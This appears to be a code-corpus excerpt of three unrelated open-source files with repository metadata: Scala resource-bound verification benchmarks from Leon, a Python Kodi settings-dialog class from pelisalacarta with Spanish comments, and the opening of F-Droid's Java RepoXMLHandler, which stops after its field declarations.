}
}
/**
* Fig. 1 of SPEED, POPL'09: The functional version of the implementation.
* Equality check of two string buffers
*/
def Equals(str1: List, str2: List, s1: StringBuffer, s2: StringBuffer, k: BigInt) : Boolean = {
require(sizeBound(s1, k) && sizeBound(s2, k) && size(str1) <= k && size(str2) <= k && k >= 0)
(str1, str2) match {
case (Cons(h1,t1), Cons(h2,t2)) => {
if(h1 != h2) false
else Equals(t1,t2, s1,s2, k)
}
case (Cons(_,_), Nil()) => {
//load from s2
s2 match {
case Chunk(str, next) => Equals(str1, str, s1, next, k)
case Empty() => false
}
}
case (Nil(), Cons(_,_)) => {
//load from s1
s1 match {
case Chunk(str, next) => Equals(str, str2, next, s2, k)
case Empty() => false
}
}
case _ =>{
//load from both
(s1,s2) match {
case (Chunk(nstr1, next1),Chunk(nstr2, next2)) => Equals(nstr1, nstr2, next1, next2, k)
case (Empty(),Chunk(nstr2, next2)) => Equals(str1, nstr2, s1, next2, k)
case (Chunk(nstr1, next1), Empty()) => Equals(nstr1, str2, next1, s2, k)
case _ => true
}
}
}
} ensuring(res => true && tmpl((a,b,c,d,e) => depth <= a*((k+1)*(length(s1) + length(s2))) + b*size(str1) + e))
def max(x: BigInt, y: BigInt) : BigInt = if(x >= y) x else y
//Fig. 2 of Speed POPL'09
def Dis1(x : BigInt, y : BigInt, n: BigInt, m: BigInt) : BigInt = {
if(x >= n) 0
else {
if(y < m) Dis1(x, y+1, n, m)
else Dis1(x+1, y, n, m)
}
} ensuring(res => true && tmpl((a,b,c) => depth <= a*max(0,n-x) + b*max(0,m-y) + c))
//Fig. 2 of Speed POPL'09
def Dis2(x : BigInt, z : BigInt, n: BigInt) : BigInt = {
if(x >= n) 0
else {
if(z > x) Dis2(x+1, z, n)
else Dis2(x, z+1, n)
}
} ensuring(res => true && tmpl((a,b,c) => depth <= a*max(0,n-x) + b*max(0,n-z) + c))
//Pg. 138, Speed POPL'09
def Dis3(x : BigInt, b : Boolean, t: BigInt, n: BigInt) : BigInt = {
require((b && t == 1) || (!b && t == -1))
if(x > n || x < 0) 0
else {
if(b) Dis3(x+t, b, t, n)
else Dis3(x-t, b, t, n)
}
} ensuring(res => true && tmpl((a,c) => depth <= a*max(0,(n-x)) + c))
//Pg. 138, Speed POPL'09
def Dis4(x : BigInt, b : Boolean, t: BigInt, n: BigInt) : BigInt = {
if(x > n || x < 0) 0
else {
if(b) Dis4(x+t, b, t, n)
else Dis4(x-t, b, t, n)
}
} ensuring(res => true && tmpl((a,c,d,e) => (((b && t >= 0) || (!b && t < 0)) && depth <= a*max(0,(n-x)) + c)
|| (((!b && t >= 0) || (b && t < 0)) && depth <= d*max(0,x) + e)))
}
|
epfl-lara/leon
|
testcases/orb-testcases/depth/SpeedBenchmarks.scala
|
Scala
|
gpl-3.0
| 3,444 |
# -*- coding: utf-8 -*-
# ------------------------------------------------------------
# pelisalacarta 4
# Copyright 2015 [email protected]
# http://blog.tvalacarta.info/plugin-xbmc/pelisalacarta/
#
# Distributed under the terms of GNU General Public License v3 (GPLv3)
# http://www.gnu.org/licenses/gpl-3.0.html
# ------------------------------------------------------------
# This file is part of pelisalacarta 4.
#
# pelisalacarta 4 is free software: you can redistribute it and/or modify
# it under the terms of the GNU General Public License as published by
# the Free Software Foundation, either version 3 of the License, or
# (at your option) any later version.
#
# pelisalacarta 4 is distributed in the hope that it will be useful,
# but WITHOUT ANY WARRANTY; without even the implied warranty of
# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
# GNU General Public License for more details.
#
# You should have received a copy of the GNU General Public License
# along with pelisalacarta 4. If not, see <http://www.gnu.org/licenses/>.
# ------------------------------------------------------------
# XBMC Config Menu
# ------------------------------------------------------------
import inspect
import os
import xbmcgui
from core import channeltools
from core import config
from core import logger
class SettingsWindow(xbmcgui.WindowXMLDialog):
""" Clase derivada que permite utilizar cuadros de configuracion personalizados.
Esta clase deriva de xbmcgui.WindowXMLDialog y permite crear un cuadro de dialogo con controles del tipo:
Radio Button (bool), Cuadro de texto (text), Lista (list) y Etiquetas informativas (label).
Tambien podemos personalizar el cuadro añadiendole un titulo (title).
Metodo constructor:
SettingWindow(listado_controles, dict_values, title, callback, item)
Parametros:
listado_controles: (list) Lista de controles a incluir en la ventana, segun el siguiente esquema:
(opcional)list_controls= [
{'id': "nameControl1",
'type': "bool", # bool, text, list, label
'label': "Control 1: tipo RadioButton",
'color': '0xFFee66CC', # color del texto en formato ARGB hexadecimal
'default': True,
'enabled': True,
'visible': True
},
{'id': "nameControl2",
'type': "text", # bool, text, list, label
'label': "Control 2: tipo Cuadro de texto",
'color': '0xFFee66CC',
'default': "Valor por defecto",
'hidden': False, # only for type = text Indica si hay que ocultar
el texto (para passwords)
'enabled': True,
'visible': True
},
{'id': "nameControl3",
'type': "list", # bool, text, list, label
'label': "Control 3: tipo Lista",
'color': '0xFFee66CC',
'default': 0, # Indice del valor por defecto en lvalues
'enabled': True,
'visible': True,
'lvalues':["item1", "item2", "item3", "item4"], # only for type = list
},
{'id': "nameControl4",
'type': "label", # bool, text, list, label
'label': "Control 4: tipo Etiqueta",
'color': '0xFFee66CC',
'enabled': True,
'visible': True
}]
Si no se incluye el listado_controles, se intenta obtener del xml del canal desde donde se hace la
llamada.
El formato de los controles en el xml es:
<?xml version="1.0" encoding="UTF-8" ?>
<channel>
...
...
<settings>
<id>nameControl1</id>
<type>bool</type>
<label>Control 1: tipo RadioButton</label>
<default>false</default>
<enabled>true</enabled>
<visible>true</visible>
<color>0xFFee66CC</color>
</settings>
<settings>
<id>nameControl2</id>
<type>text</type>
<label>Control 2: tipo Cuadro de texto</label>
<default>Valor por defecto</default>
<hidden>true</hidden>
<enabled>true</enabled>
<visible>true</visible>
<color>0xFFee66CC</color>
</settings>
<settings>
<id>nameControl3</id>
<type>list</type>
<label>Control 3: tipo Lista</label>
<default>0</default>
<enabled>true</enabled>
<color>0xFFee66CC</color>
<visible>true</visible>
<lvalues>item1</lvalues>
<lvalues>item2</lvalues>
<lvalues>item3</lvalues>
<lvalues>item4</lvalues>
</settings>
<settings>
<id>nameControl4</id>
<type>label</type>
<label>Control 4: tipo Etiqueta</label>
<enabled>true</enabled>
<visible>true</visible>
<color>0xFFee66CC</color>
</settings>
...
</channel>
Los campos 'label', 'default' y 'lvalues' pueden ser un numero precedido de '@'. En cuyo caso se
buscara el literal en el archivo string.xml del idioma seleccionado.
Los campos 'enabled' y 'visible' admiten los comparadores eq(), gt() e it() y su funcionamiento se
describe en: http://kodi.wiki/view/Add-on_settings#Different_types
(opcional)dict_values: (dict) Diccionario que representa el par (id: valor) de los controles de la
lista.
Si algun control de la lista no esta incluido en este diccionario se le asignara el valor por
defecto.
dict_values={"nameControl1": False,
"nameControl2": "Esto es un ejemplo"}
(opcional) title: (str) Titulo de la ventana de configuracion. Se puede localizar mediante un numero
precedido de '@'
(opcional) callback (str) Nombre de la funcion, del canal desde el que se realiza la llamada, que sera
invocada al pulsar
el boton aceptar de la ventana. A esta funcion se le pasara como parametros el objeto 'item' y el
dicionario 'dict_values'
Retorno: Si se especifica 'callback' se devolvera lo que devuelva esta funcion. Si no devolvera None
Ejemplos de uso:
platformtools.show_channel_settings(): Así tal cual, sin pasar ningún argumento, la ventana detecta de que canal
se ha hecho la llamada,
y lee los ajustes del XML y carga los controles, cuando le das a Aceptar los vuelve a guardar.
return platformtools.show_channel_settings(list_controls=list_controls, dict_values=dict_values, callback='cb',
item=item):
Así abre la ventana con los controles pasados y los valores de dict_values, si no se pasa dict_values, carga
los valores por defecto de los controles,
cuando le das a aceptar, llama a la función 'callback' del canal desde donde se ha llamado, pasando como
parámetros, el item y el dict_values
"""
def start(self, list_controls=None, dict_values=None, title="Opciones", callback=None, item=None,
custom_button=None):
logger.info("[xbmc_config_menu] start")
# Ruta para las imagenes de la ventana
self.mediapath = os.path.join(config.get_runtime_path(), 'resources', 'skins', 'Default', 'media')
# Capturamos los parametros
self.list_controls = list_controls
self.values = dict_values
self.title = title
self.callback = callback
self.item = item
self.custom_button = custom_button
# Obtenemos el canal desde donde se ha echo la llamada y cargamos los settings disponibles para ese canal
channelpath = inspect.currentframe().f_back.f_back.f_code.co_filename
self.channel = os.path.basename(channelpath).replace(".py", "")
# Si no tenemos list_controls, hay que sacarlos del xml del canal
if not self.list_controls:
# Si la ruta del canal esta en la carpeta "channels", obtenemos los controles y valores mediante chaneltools
if os.path.join(config.get_runtime_path(), "channels") in channelpath:
# La llamada se hace desde un canal
self.list_controls, default_values = channeltools.get_channel_controls_settings(self.channel)
# En caso contrario salimos
else:
return None
# Si no se pasan dict_values, creamos un dict en blanco
if self.values is None:
self.values = {}
# Ponemos el titulo
if self.title == "":
self.title = str(config.get_localized_string(30100)) + " -- " + self.channel.capitalize()
elif self.title.startswith('@') and unicode(self.title[1:]).isnumeric():
self.title = config.get_localized_string(int(self.title[1:]))
# Muestra la ventana
self.return_value = None
self.doModal()
return self.return_value
@staticmethod
def set_enabled(c, val):
if c["type"] == "list":
c["control"].setEnabled(val)
c["downBtn"].setEnabled(val)
c["upBtn"].setEnabled(val)
c["label"].setEnabled(val)
else:
c["control"].setEnabled(val)
@staticmethod
def set_visible(c, val):
if c["type"] == "list":
c["control"].setVisible(val)
c["downBtn"].setVisible(val)
c["upBtn"].setVisible(val)
c["label"].setVisible(val)
else:
c["control"].setVisible(val)
def evaluate_conditions(self):
for c in self.controls:
if c["show"]:
self.set_enabled(c, self.evaluate(self.controls.index(c), c["enabled"]))
self.set_visible(c, self.evaluate(self.controls.index(c), c["visible"]))
def evaluate(self, index, cond):
import re
# Si la condicion es True o False, no hay mas que evaluar, ese es el valor
if type(cond) == bool:
return cond
# Si la condicion es un str representando un boleano devolvemos el valor
if cond.lower() == "true":
return True
elif cond.lower() == "false":
return False
# Obtenemos las condiciones
conditions = re.compile("(!?eq|!?gt|!?lt)?\(([^,]+),[\"|']?([^)|'|\"]*)['|\"]?\)[ ]*([+||])?").findall(cond)
for operator, id, value, next in conditions:
# El id tiene que ser un numero, sino, no es valido y devuelve False
try:
id = int(id)
except:
return False
# El control sobre el que evaluar, tiene que estar dentro del rango, sino devuelve False
if index + id < 0 or index + id >= len(self.controls):
return False
else:
# Obtenemos el valor del control sobre el que se compara
c = self.controls[index + id]
if c["type"] == "bool":
control_value = bool(c["control"].isSelected())
if c["type"] == "text":
control_value = c["control"].getText()
if c["type"] == "list":
control_value = c["control"].getLabel()
if c["type"] == "label":
control_value = c["control"].getLabel()
# Operaciones lt "menor que" y gt "mayor que", requieren que las comparaciones sean numeros, sino devuelve
# False
if operator in ["lt", "!lt", "gt", "!gt"]:
try:
value = int(value)
except ValueError:
return False
# Operacion eq "igual a" puede comparar cualquier cosa, como el valor lo obtenemos mediante el xml no
# sabemos su tipo (todos son str) asi que intentamos detectarlo
if operator in ["eq", "!eq"]:
# valor int
try:
value = int(value)
except ValueError:
pass
# valor bool
if value.lower() == "true":
value = True
elif value.lower() == "false":
value = False
# operacion "eq" "igual a"
if operator == "eq":
if control_value == value:
ok = True
else:
ok = False
# operacion "!eq" "no igual a"
if operator == "!eq":
if not control_value == value:
ok = True
else:
ok = False
# operacion "gt" "mayor que"
if operator == "gt":
if control_value > value:
ok = True
else:
ok = False
# operacion "!gt" "no mayor que"
if operator == "!gt":
if not control_value > value:
ok = True
else:
ok = False
# operacion "lt" "menor que"
if operator == "lt":
if control_value < value:
ok = True
else:
ok = False
# operacion "!lt" "no menor que"
if operator == "!lt":
if not control_value < value:
ok = True
else:
ok = False
# Siguiente operación, si es "|" (or) y el resultado es True, no tiene sentido seguir, es True
if next == "|" and ok is True:
break
# Siguiente operación, si es "+" (and) y el resultado es False, no tiene sentido seguir, es False
if next == "+" and ok is False:
break
# Siguiente operación, si es "+" (and) y el resultado es True, Seguira, para comprobar el siguiente valor
# Siguiente operación, si es "|" (or) y el resultado es False, Seguira, para comprobar el siguiente valor
return ok
def onInit(self):
# Ponemos el título
self.getControl(10002).setLabel(self.title)
if self.custom_button is not None:
if self.custom_button['method'] != "":
self.getControl(10006).setLabel(self.custom_button['name'])
else:
self.getControl(10006).setVisible(False)
self.getControl(10004).setPosition(self.getControl(10004).getX() + 80, self.getControl(10004).getY())
self.getControl(10005).setPosition(self.getControl(10005).getX() + 80, self.getControl(10005).getY())
# Obtenemos las dimensiones del area de controles
self.controls_width = self.getControl(10007).getWidth() - 20
self.controls_height = self.getControl(10007).getHeight()
self.controls_pos_x = self.getControl(10007).getX() + self.getControl(10001).getX() + 10
self.controls_pos_y = self.getControl(10007).getY() + self.getControl(10001).getY()
self.height_control = 35
font = "font12"
# Creamos un listado de controles, para tenerlos en todo momento localizados y posicionados en la ventana
self.controls = []
x = 0
for c in self.list_controls:
# Posicion Y para cada control
pos_y = self.controls_pos_y + x * self.height_control
# Saltamos controles que no tengan los valores adecuados
if "type" not in c:
continue
if "label" not in c:
continue
if c["type"] != "label" and "id" not in c:
continue
if c["type"] == "list" and "lvalues" not in c:
continue
if c["type"] == "list" and not type(c["lvalues"]) == list:
continue
if c["type"] == "list" and not len(c["lvalues"]) > 0:
continue
if c["type"] != "label" and c["id"] in [control["id"] for control in self.controls]:
continue
# Translation label y lvalues
if c['label'].startswith('@') and unicode(c['label'][1:]).isnumeric():
c['label'] = config.get_localized_string(int(c['label'][1:]))
if c['type'] == 'list':
lvalues = []
for li in c['lvalues']:
if li.startswith('@') and unicode(li[1:]).isnumeric():
lvalues.append(config.get_localized_string(int(li[1:])))
else:
lvalues.append(li)
c['lvalues'] = lvalues
# Valores por defecto en caso de que el control no disponga de ellos
if c["type"] == "bool" and "default" not in c:
c["default"] = False
if c["type"] == "text" and "default" not in c:
c["default"] = ""
if c["type"] == "text" and "hidden" not in c:
c["hidden"] = False
if c["type"] == "list" and "default" not in c:
c["default"] = 0
if c["type"] == "label" and "id" not in c:
c["id"] = None
if "color" not in c:
c["color"] = "0xFF0066CC"
if "visible" not in c:
c["visible"] = True
if "enabled" not in c:
c["enabled"] = True
# Para simplificar el codigo pasamos los campos a variables
id = c["id"]
label = c['label']
ctype = c["type"]
visible = c["visible"]
enabled = c["enabled"]
color = c["color"]
if ctype == "list":
lvalues = c["lvalues"]
if ctype == "text":
hidden = c["hidden"] if type(c["hidden"]) == bool else (
True if c["hidden"].lower() == 'true' else False)
# Decidimos si usar el valor por defecto o el valor guardado
if ctype in ["bool", "text", "list"]:
default = c["default"]
if id not in self.values:
if not self.callback:
self.values[id] = config.get_setting(id, self.channel)
else:
self.values[id] = default
value = self.values[id]
if ctype == "bool":
c["default"] = bool(c["default"])
self.values[id] = bool(self.values[id])
# Control "bool"
if ctype == "bool":
# Creamos el control
control = xbmcgui.ControlRadioButton(self.controls_pos_x - 10, -100, self.controls_width + 10,
self.height_control, label=label, font=font, textColor=color,
focusTexture=os.path.join(self.mediapath, 'ChannelSettings',
'MenuItemFO.png'),
noFocusTexture=os.path.join(self.mediapath, 'ChannelSettings',
'MenuItemNF.png'),
focusOnTexture=os.path.join(self.mediapath, 'ChannelSettings',
'radiobutton-focus.png'),
noFocusOnTexture=os.path.join(self.mediapath, 'ChannelSettings',
'radiobutton-focus.png'),
focusOffTexture=os.path.join(self.mediapath, 'ChannelSettings',
'radiobutton-nofocus.png'),
noFocusOffTexture=os.path.join(self.mediapath, 'ChannelSettings',
'radiobutton-nofocus.png'))
# Lo añadimos a la ventana
self.addControl(control)
# Cambiamos las propiedades
control.setRadioDimension(x=self.controls_width + 10 - (self.height_control - 5), y=0,
width=self.height_control - 5, height=self.height_control - 5)
control.setSelected(value)
control.setVisible(False)
# Lo añadimos al listado
self.controls.append({"id": id, "type": ctype, "control": control, "x": self.controls_pos_x - 10,
"y": pos_y, "default": default, "enabled": enabled, "visible": visible})
# Control "text"
elif ctype == 'text':
# Creamos el control
control = xbmcgui.ControlEdit(self.controls_pos_x, -100, self.controls_width - 5, self.height_control,
label, font=font, isPassword=hidden, textColor=color,
focusTexture=os.path.join(self.mediapath, 'ChannelSettings',
'MenuItemFO.png'),
noFocusTexture=os.path.join(self.mediapath, 'ChannelSettings',
'MenuItemNF.png'))
# Lo añadimos a la ventana
self.addControl(control)
# Cambiamos las propiedades
control.setVisible(False)
control.setLabel(label)
control.setText(value)
control.setPosition(self.controls_pos_x, pos_y)
control.setWidth(self.controls_width - 5)
control.setHeight(self.height_control)
# Lo añadimos al listado
self.controls.append(
{"id": id, "type": ctype, "control": control, "x": self.controls_pos_x, "y": pos_y,
"default": default, "enabled": enabled, "visible": visible})
# Control "list"
elif ctype == 'list':
# Creamos los controles el list se forma de 3 controles
control = xbmcgui.ControlButton(self.controls_pos_x, -100, self.controls_width, self.height_control,
label, font=font, textOffsetX=0, textColor=color,
focusTexture=os.path.join(self.mediapath, 'ChannelSettings',
'MenuItemFO.png'),
noFocusTexture=os.path.join(self.mediapath, 'ChannelSettings',
'MenuItemNF.png'))
label = xbmcgui.ControlLabel(self.controls_pos_x, -100, self.controls_width - 30, self.height_control,
lvalues[value], font=font, textColor=color, alignment=4 | 1)
upBtn = xbmcgui.ControlButton(self.controls_pos_x + self.controls_width - 25, -100, 20, 15, '',
focusTexture=os.path.join(self.mediapath, 'ChannelSettings',
'spinUp-Focus.png'),
noFocusTexture=os.path.join(self.mediapath, 'ChannelSettings',
'spinUp-noFocus.png'))
downBtn = xbmcgui.ControlButton(self.controls_pos_x + self.controls_width - 25, -100 + 15, 20, 15, '',
focusTexture=os.path.join(self.mediapath, 'ChannelSettings',
'spinDown-Focus.png'),
noFocusTexture=os.path.join(self.mediapath, 'ChannelSettings',
'spinDown-noFocus.png'))
# Los añadimos a la ventana
self.addControl(control)
self.addControl(label)
self.addControl(upBtn)
self.addControl(downBtn)
# Cambiamos las propiedades
control.setVisible(False)
label.setVisible(False)
upBtn.setVisible(False)
downBtn.setVisible(False)
# Lo añadimos al listado
self.controls.append(
{"id": id, "type": ctype, "control": control, "label": label, "downBtn": downBtn, "upBtn": upBtn,
"x": self.controls_pos_x, "y": pos_y, "lvalues": c["lvalues"], "default": default,
"enabled": enabled, "visible": visible})
# Control "label"
elif ctype == 'label':
# Creamos el control
control = xbmcgui.ControlLabel(self.controls_pos_x, -100, self.controls_width, height=30, label=label,
alignment=4, font=font, textColor=color)
# Lo añadimos a la ventana
self.addControl(control)
# Cambiamos las propiedades
control.setVisible(False)
# Lo añadimos al listado
self.controls.append(
{"id": None, "type": ctype, "control": control, "x": self.controls_pos_x, "y": pos_y,
"enabled": enabled, "visible": visible})
# Esto es para reposicionar el control en la ventana
self.scroll(1)
x += 1
# Ponemos el foco en el primer control
self.setFocus(self.controls[0]["control"])
self.evaluate_conditions()
self.check_default()
self.check_ok(self.values)
def move_up(self):
# Subir el foco al control de arriba
# Buscamos el control con el foco
try:
focus = self.getFocus()
except:
# Si ningún control tiene foco, seleccionamos el primero de la lista y salimos de la función
control = self.controls[0]
# Los label no tienen foco, si el primero es label, va saltando hasta encontrar uno que no lo sea
while control["type"] == "label" and self.controls.index(control) < len(self.controls) - 1:
control = self.controls[self.controls.index(control) + 1]
self.setFocus(control["control"])
return
# Localizamos en el listado de controles el control que tiene el focus
for x, control in enumerate(self.controls):
if control["control"] == focus:
# Sube uno en la lista
x -= 1 if x > 0 else 0
# Si es un label, sigue subiendo hasta llegar al primero o uno que nos sea label
while self.controls[x]["type"] == "label" and x > 0:
x -= 1
# Si llegado aqui sigue siendo un label es que no quedan mas controles que no sean label, sale de la
# funcion
if self.controls[x]["type"] == "label":
return
# Si el control seleccionado no esta visible (esta fuera de la ventana en el scroll) sube el scroll
# hasta que este visible
while not self.controls[x]["show"]:
self.scroll(1)
# Pasamos el foco al control
self.setFocus(self.controls[x]["control"])
def move_down(self):
# Bajar el foco al control de abajo
# Buscamos el control con el foco
try:
focus = self.getFocus()
except:
# Si ningún control tiene foco, seleccionamos el primero de la lista y salimos de la función
control = self.controls[0]
# Los label no tienen foco, si el primero es label, va saltando hasta encontrar uno que no lo sea
while control["type"] == "label" and self.controls.index(control) < len(self.controls) - 1:
control = self.controls[self.controls.index(control) + 1]
self.setFocus(control["control"])
return
# Localizamos en el listado de controles el control que tiene el focus
for x, control in enumerate(self.controls):
if control["control"] == focus:
# Baja uno en la lista
x += 1
# Si es un label, sigue bajando hasta llegar al primero o uno que nos sea label
while x < len(self.controls) and self.controls[x]["type"] == "label":
x += 1
# Si llegado aqui sigue siendo un label o no quedan mas controles pasa el foco los botones inferiores
# y sale de la función
if x >= len(self.controls) or self.controls[x]["type"] == "label":
self.setFocusId(10004)
return
# Si el control seleccionado no esta visible (esta fuera de la ventana en el scroll) baja el scroll
# hasta que este visible
while not self.controls[x]["show"]:
self.scroll(-1)
# Pasamos el foco al control
self.setFocus(self.controls[x]["control"])
def scroll(self, direction):
# Establece los pixeles y la dirección donde se moveran los controles
movimento = self.height_control * direction
# Tope inferior, si el ultimo control es visible y se hace scroll hacia abajo, el movimiento es 0
if movimento < 0 and self.controls[-1]["y"] + self.height_control < self.controls_pos_y + self.controls_height:
movimento = 0
# Tope superior, si el primer control es visible y se hace scroll hacia arriba, el movimiento es 0
if movimento > 0 and self.controls[0]["y"] == self.controls_pos_y:
movimento = 0
# Mueve todos los controles una posicion
for control in self.controls:
# Asigna la nueva posición en la lista de controles
control["y"] += movimento
# Si el control está dentro del espació visible, lo coloca en la posición y lo marca como visible
if control["y"] > self.controls_pos_y - self.height_control and control["y"] + \
self.height_control < self.controls_height + self.controls_pos_y:
if control["type"] != "list":
control["control"].setPosition(control["x"], control["y"])
control["control"].setVisible(True)
else:
control["control"].setPosition(control["x"], control["y"])
control["control"].setVisible(True)
control["label"].setPosition(control["x"], control["y"])
control["label"].setVisible(True)
control["upBtn"].setPosition(control["x"] + control["control"].getWidth() - 25, control["y"] + 3)
control["upBtn"].setVisible(True)
control["downBtn"].setPosition(control["x"] + control["control"].getWidth() - 25, control["y"] + 18)
control["downBtn"].setVisible(True)
# Marca el control en la lista de controles como visible
control["show"] = True
# Si el control no está dentro del espació visible lo marca como no visible
else:
if control["type"] != "list":
control["control"].setVisible(False)
else:
control["control"].setVisible(False)
control["label"].setVisible(False)
control["downBtn"].setVisible(False)
control["upBtn"].setVisible(False)
# Marca el control en la lista de controles como no visible
control["show"] = False
# Calculamos la posicion y tamaño del ScrollBar
show_controls = [control for control in self.controls if control["show"] == True]
hidden_controls = [control for control in self.controls if control["show"] == False]
position = self.controls.index(show_controls[0])
scrollbar_height = self.getControl(10008).getHeight() - (len(hidden_controls) * 5)
scrollbar_y = self.getControl(10008).getY() + (position * 5)
self.getControl(10009).setPosition(self.getControl(10008).getX(), scrollbar_y)
self.getControl(10009).setHeight(scrollbar_height)
self.evaluate_conditions()
def check_ok(self, dict_values=None):
if not self.callback:
if dict_values:
self.init_values = dict_values.copy()
self.getControl(10004).setEnabled(False)
else:
if self.init_values == self.values:
self.getControl(10004).setEnabled(False)
else:
self.getControl(10004).setEnabled(True)
def check_default(self):
if not self.custom_button:
def_values = dict([[c["id"], c["default"]] for c in self.controls])
if def_values == self.values:
self.getControl(10006).setEnabled(False)
else:
self.getControl(10006).setEnabled(True)
def onClick(self, id):
# Valores por defecto
if id == 10006:
if self.custom_button['method'] != "":
self.close()
cb_channel = None
try:
cb_channel = __import__('channels.%s' % self.channel, fromlist=["channels.%s" % self.channel])
except ImportError:
logger.error('Imposible importar %s' % self.channel)
self.return_value = getattr(cb_channel, self.custom_button['method'])(self.item)
else:
for c in self.controls:
if c["type"] == "text":
c["control"].setText(c["default"])
self.values[c["id"]] = c["default"]
if c["type"] == "bool":
c["control"].setSelected(c["default"])
self.values[c["id"]] = c["default"]
if c["type"] == "list":
c["label"].setLabel(c["lvalues"][c["default"]])
self.values[c["id"]] = c["default"]
self.evaluate_conditions()
self.check_default()
self.check_ok()
# Boton Cancelar y [X]
if id == 10003 or id == 10005:
self.close()
# Boton Aceptar
if id == 10004:
if not self.callback:
for v in self.values:
config.set_setting(v, self.values[v], self.channel)
self.close()
else:
self.close()
cb_channel = None
try:
cb_channel = __import__('channels.%s' % self.channel, fromlist=["channels.%s" % self.channel])
except ImportError:
logger.error('Imposible importar %s' % self.channel)
self.return_value = getattr(cb_channel, self.callback)(self.item, self.values)
# Controles de ajustes, si se cambia el valor de un ajuste, cambiamos el valor guardado en el diccionario de
# valores
# Obtenemos el control sobre el que se ha echo click
control = self.getControl(id)
# Lo buscamos en el listado de controles
for cont in self.controls:
# Si el control es un "downBtn" o "upBtn" son los botones del "list"
# en este caso cambiamos el valor del list
if cont["type"] == "list" and (cont["downBtn"] == control or cont["upBtn"] == control):
# Para bajar una posicion
if cont["downBtn"] == control:
index = cont["lvalues"].index(cont["label"].getLabel())
if index > 0:
cont["label"].setLabel(cont["lvalues"][index - 1])
# Para subir una posicion
elif cont["upBtn"] == control:
index = cont["lvalues"].index(cont["label"].getLabel())
if index < len(cont["lvalues"]) - 1:
cont["label"].setLabel(cont["lvalues"][index + 1])
# Guardamos el nuevo valor en el diccionario de valores
self.values[cont["id"]] = cont["lvalues"].index(cont["label"].getLabel())
# Si esl control es un "bool", guardamos el nuevo valor True/False
if cont["type"] == "bool" and cont["control"] == control:
self.values[cont["id"]] = bool(cont["control"].isSelected())
# Si esl control es un "text", guardamos el nuevo valor
if cont["type"] == "text" and cont["control"] == control:
self.values[cont["id"]] = cont["control"].getText()
self.evaluate_conditions()
self.check_default()
self.check_ok()
def onAction(self, action):
# Accion 1: Flecha derecha
if action == 1:
# Obtenemos el foco
focus = self.getFocusId()
# Si el foco no está en ninguno de los tres botones inferiores, y esta en un "list" cambiamos el valor
if focus not in [10004, 10005, 10006]:
control = self.getFocus()
for cont in self.controls:
if cont["type"] == "list" and cont["control"] == control:
index = cont["lvalues"].index(cont["label"].getLabel())
if index > 0:
cont["label"].setLabel(cont["lvalues"][index - 1])
# Guardamos el nuevo valor en el listado de controles
self.values[cont["id"]] = cont["lvalues"].index(cont["label"].getLabel())
# Si el foco está en alguno de los tres botones inferiores, movemos al siguiente
else:
if focus == 10006:
self.setFocusId(10005)
if focus == 10005:
self.setFocusId(10004)
# Accion 1: Flecha izquierda
if action == 2:
# Obtenemos el foco
focus = self.getFocusId()
# Si el foco no está en ninguno de los tres botones inferiores, y esta en un "list" cambiamos el valor
if focus not in [10004, 10005, 10006]:
control = self.getFocus()
for cont in self.controls:
if cont["type"] == "list" and cont["control"] == control:
index = cont["lvalues"].index(cont["label"].getLabel())
if index < len(cont["lvalues"]) - 1:
cont["label"].setLabel(cont["lvalues"][index + 1])
# Guardamos el nuevo valor en el listado de controles
self.values[cont["id"]] = cont["lvalues"].index(cont["label"].getLabel())
# Si el foco está en alguno de los tres botones inferiores, movemos al siguiente
else:
if focus == 10004:
self.setFocusId(10005)
if focus == 10005:
self.setFocusId(10006)
# Accion 4: Flecha abajo
if action == 4:
# Obtenemos el foco
focus = self.getFocusId()
# Si el foco no está en ninguno de los tres botones inferiores, bajamos el foco en los controles de ajustes
if focus not in [10004, 10005, 10006]:
self.move_down()
# Accion 4: Flecha arriba
if action == 3:
# Obtenemos el foco
focus = self.getFocusId()
# Si el foco no está en ninguno de los tres botones inferiores, subimos el foco en los controles de ajustes
if focus not in [10004, 10005, 10006]:
self.move_up()
# Si el foco está en alguno de los tres botones inferiores, ponemos el foco en el ultimo ajuste.
else:
self.setFocus(self.controls[-1]["control"])
# Accion 104: Scroll arriba
if action == 104:
self.scroll(1)
# Accion 105: Scroll abajo
if action == 105:
self.scroll(-1)
# Accion 10: Back
if action == 10:
self.close()
|
ChopChopKodi/pelisalacarta
|
python/main-classic/platformcode/xbmc_config_menu.py
|
Python
|
gpl-3.0
| 43,816 |
/*
* Copyright (C) 2010-12 Ciaran Gultnieks, [email protected]
* Copyright (C) 2009 Roberto Jacinto, [email protected]
*
* This program is free software; you can redistribute it and/or
* modify it under the terms of the GNU General Public License
* as published by the Free Software Foundation; either version 3
* of the License, or (at your option) any later version.
*
* This program is distributed in the hope that it will be useful,
* but WITHOUT ANY WARRANTY; without even the implied warranty of
* MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
* GNU General Public License for more details.
*
* You should have received a copy of the GNU General Public License
* along with this program; if not, write to the Free Software
* Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301, USA.
*/
package org.fdroid.fdroid;
import java.io.BufferedReader;
import java.io.File;
import java.io.FileOutputStream;
import java.io.FileReader;
import java.io.IOException;
import java.io.InputStream;
import java.io.OutputStream;
import java.net.HttpURLConnection;
import java.net.MalformedURLException;
import java.net.URL;
import java.security.cert.Certificate;
import java.text.ParseException;
import java.text.SimpleDateFormat;
import java.util.Date;
import java.util.List;
import java.util.jar.JarEntry;
import java.util.jar.JarFile;
import javax.net.ssl.SSLHandshakeException;
import javax.xml.parsers.SAXParser;
import javax.xml.parsers.SAXParserFactory;
import android.os.Bundle;
import org.xml.sax.Attributes;
import org.xml.sax.InputSource;
import org.xml.sax.SAXException;
import org.xml.sax.XMLReader;
import org.xml.sax.helpers.DefaultHandler;
import android.content.Context;
import android.content.pm.PackageInfo;
import android.content.pm.PackageManager;
import android.util.Log;
public class RepoXMLHandler extends DefaultHandler {
// The repo we're processing.
private DB.Repo repo;
private List<DB.App> apps;
private DB.App curapp = null;
private DB.Apk curapk = null;
private StringBuilder curchars = new StringBuilder();
private String pubkey;
private String hashType;
private int progressCounter = 0;
private ProgressListener progressListener;
public static final int PROGRESS_TYPE_DOWNLOAD = 1;
public static final int PROGRESS_TYPE_PROCESS_XML = 2;
public static final String PROGRESS_DATA_REPO = "repo";
// The date format used in the repo XML file.
private SimpleDateFormat mXMLDateFormat = new SimpleDateFormat("yyyy-MM-dd");
